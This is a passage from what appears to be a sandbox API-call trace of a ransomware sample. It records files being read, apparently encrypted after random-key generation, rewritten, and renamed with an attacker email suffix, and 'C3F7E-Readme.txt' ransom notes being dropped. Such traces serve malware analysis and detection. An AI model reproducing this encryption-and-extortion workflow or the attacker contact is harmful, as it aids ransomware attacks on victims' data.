	[0075.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a4060) returned 1
	[0075.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4897858) returned 1
	[0075.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47df8
	[0075.616] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.616] WriteFile (in: hFile=0x984, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x9a8f9cc, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x9a8f9cc*=0x101, lpOverlapped=0x0) returned 1
	[0075.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0075.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0075.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0075.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0075.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0075.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0075.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e70) returned 1
	[0075.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78550
	[0075.617] wcscpy (in: _Dest=0x2d78550, _Source="C:\\588bce7c90097ed212\\1035\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf"
	[0075.617] wcscat (in: _Dest=0x2d78550, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.617] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9a8f984, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61dc0
	[0075.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53cd8) returned 1
	[0075.620] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0x9a8f990, FileInformation=0x9a8f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9a8f990, FileInformation=0x9a8f968) returned 0x0
	[0075.620] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x9a8f990, FileInformation=0x9a8f968, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0075.621] FlushFileBuffers (hFile=0x984) returned 1
	[0075.622] CloseHandle (hObject=0x984) returned 1
	[0075.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.622] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1035\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\"
	[0075.622] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1035\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1035\\C3F7E-Readme.txt"
	[0075.622] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.623] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x984
	[0075.623] WriteFile (in: hFile=0x984, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x9a8f98c, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x9a8f98c*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.624] CloseHandle (hObject=0x984) returned 1
	[0075.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47305b0) returned 1

Thread:
	id = 185
	os_tid = 0x1228

	[0075.615] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80
	[0075.615] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.616] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x990
	[0075.618] GetFileSizeEx (in: hFile=0x990, lpFileSize=0x9b0f79c | out: lpFileSize=0x9b0f79c*=77022) returned 1
	[0075.618] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x12cda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.618] ReadFile (in: hFile=0x990, lpBuffer=0x9b0f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9b0f71c, lpOverlapped=0x0 | out: lpBuffer=0x9b0f720*, lpNumberOfBytesRead=0x9b0f71c*=0x4, lpOverlapped=0x0) returned 1
	[0075.625] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.625] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.625] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0075.625] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0075.626] NtQuerySystemTime (in: CurrentTime=0x9b0f6fc | out: CurrentTime=0x9b0f6fc*=132251868023565250) returned 0x0
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x3c046dec
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xe18f465
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x3d03d5a0
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xcea81368
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xe663c2d4
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xd6ee5f0f
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x744643b5
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xec90f2fb
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x1a78362
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xa3790f62
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x62240148
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x18f35525
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xf362e3d5
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xb0837d74
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x4b508d4e
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x35c5258a
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x504a7b53
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xd72d42f9
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x2ce385a8
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xa049e759
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xf0a59eb3
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x7f80cbb3
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xf0fdbe88
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xb265d24c
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x55ac07b4
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x7b3ec5bd
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0xea769a4d
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x5ae28515
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x967bae77
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x8aaaa72b
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x4e3c4292
	[0075.626] RtlRandom (in: Seed=0x9b0f708 | out: Seed=0x9b0f708) returned 0x3a6d459d
	[0075.635] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.635] ReadFile (in: hFile=0x990, lpBuffer=0x4897858, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x9b0f6dc, lpOverlapped=0x0 | out: lpBuffer=0x4897858*, lpNumberOfBytesRead=0x9b0f6dc*=0xc800, lpOverlapped=0x0) returned 1
	[0075.636] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0075.636] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0075.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a4060
	[0075.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0075.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0075.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.638] WriteFile (in: hFile=0x990, lpBuffer=0x48a4060*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x9b0f6dc, lpOverlapped=0x0 | out: lpBuffer=0x48a4060*, lpNumberOfBytesWritten=0x9b0f6dc*=0xc800, lpOverlapped=0x0) returned 1
	[0078.392] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a4060) returned 1
	[0078.392] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4897858) returned 1
	[0078.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bb190
	[0078.392] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.392] WriteFile (in: hFile=0x990, lpBuffer=0x47cf6a0*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x9b0f75c, lpOverlapped=0x0 | out: lpBuffer=0x47cf6a0*, lpNumberOfBytesWritten=0x9b0f75c*=0x113, lpOverlapped=0x0) returned 1
	[0078.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf6a0) returned 1
	[0078.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb1c8) returned 1
	[0078.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0078.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb190) returned 1
	[0078.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0078.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0078.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0078.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e70) returned 1
	[0078.399] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986518
	[0078.399] wcscpy (in: _Dest=0x4986518, _Source="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml"
	[0078.399] wcscat (in: _Dest=0x4986518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.399] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9b0f714, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.399] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a328
	[0078.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a328) returned 1
	[0078.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61790) returned 1
	[0078.696] NtQueryInformationFile (in: FileHandle=0x990, IoStatusBlock=0x9b0f720, FileInformation=0x9b0f6f8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9b0f720, FileInformation=0x9b0f6f8) returned 0x0
	[0078.696] NtSetInformationFile (FileHandle=0x990, IoStatusBlock=0x9b0f720, FileInformation=0x9b0f6f8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986518) returned 1
	[0078.697] FlushFileBuffers (hFile=0x990) returned 1
	[0080.047] CloseHandle (hObject=0x990) returned 1
	[0080.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47807e0
	[0080.165] wcscpy (in: _Dest=0x47807e0, _Source="C:\\588bce7c90097ed212\\1035\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\"
	[0080.165] wcscat (in: _Dest=0x47807e0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1035\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1035\\C3F7E-Readme.txt"
	[0080.165] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\c3f7e-readme.txt")) returned 0x20
	[0084.931] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47807e0) returned 1
	[0084.931] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a240) returned 1

Thread:
	id = 186
	os_tid = 0x1214

	[0075.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80
	[0075.639] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.639] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0075.639] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x9b8fc78 | out: lpFileSize=0x9b8fc78*=3526) returned 1
	[0075.639] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0xdc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.639] ReadFile (in: hFile=0x984, lpBuffer=0x9b8fbfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9b8fbf8, lpOverlapped=0x0 | out: lpBuffer=0x9b8fbfc*, lpNumberOfBytesRead=0x9b8fbf8*=0x4, lpOverlapped=0x0) returned 1
	[0075.641] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0075.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0075.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.641] NtQuerySystemTime (in: CurrentTime=0x9b8fbd8 | out: CurrentTime=0x9b8fbd8*=132251868023721522) returned 0x0
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x6e717f5e
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xf41da032
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x3e84a080
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xab3934e2
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x2e5100c
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x969136af
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x9474192c
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x83120cf5
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x9d593d1d
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x50fcc768
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x1a783cad
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xdb0770fb
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xb52205ef
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xdd1122be
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x8674217c
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xd7f07dcf
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x10bc3264
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x47fc7026
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x9d848fab
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xb1a7832c
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x4c9a5767
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x5d867c9
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x98a9450c
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xca40a3ab
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x871f9572
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xe1533b25
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x11166f47
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x705cf8f6
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x9f1769aa
	[0075.641] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x53f17366
	[0075.642] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0x5073b952
	[0075.642] RtlRandom (in: Seed=0x9b8fbe4 | out: Seed=0x9b8fbe4) returned 0xec69cf60
	[0075.651] ReadFile (in: hFile=0x984, lpBuffer=0x48b0868, nNumberOfBytesToRead=0xdc6, lpNumberOfBytesRead=0x9b8fbd4, lpOverlapped=0x0 | out: lpBuffer=0x48b0868*, lpNumberOfBytesRead=0x9b8fbd4*=0xdc6, lpOverlapped=0x0) returned 1
	[0075.651] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.651] WriteFile (in: hFile=0x984, lpBuffer=0x48bd070*, nNumberOfBytesToWrite=0xdc6, lpNumberOfBytesWritten=0x9b8fbd0, lpOverlapped=0x0 | out: lpBuffer=0x48bd070*, lpNumberOfBytesWritten=0x9b8fbd0*=0xdc6, lpOverlapped=0x0) returned 1
	[0075.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0075.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0075.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0075.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48bd070) returned 1
	[0075.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48b0868) returned 1
	[0075.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4781800
	[0075.653] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.653] WriteFile (in: hFile=0x984, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x9b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x9b8fc38*=0x101, lpOverlapped=0x0) returned 1
	[0075.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0075.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0075.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0075.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0075.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0075.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0075.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0075.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78550
	[0075.657] wcscpy (in: _Dest=0x2d78550, _Source="C:\\588bce7c90097ed212\\1036\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf"
	[0075.657] wcscat (in: _Dest=0x2d78550, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.657] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9b8fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d60f50
	[0075.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60f50) returned 1
	[0075.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2af38) returned 1
	[0075.682] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0x9b8fbfc, FileInformation=0x9b8fbd4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9b8fbfc, FileInformation=0x9b8fbd4) returned 0x0
	[0075.682] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x9b8fbfc, FileInformation=0x9b8fbd4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0075.684] FlushFileBuffers (hFile=0x984) returned 1
	[0075.689] CloseHandle (hObject=0x984) returned 1
	[0075.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.691] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1036\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\"
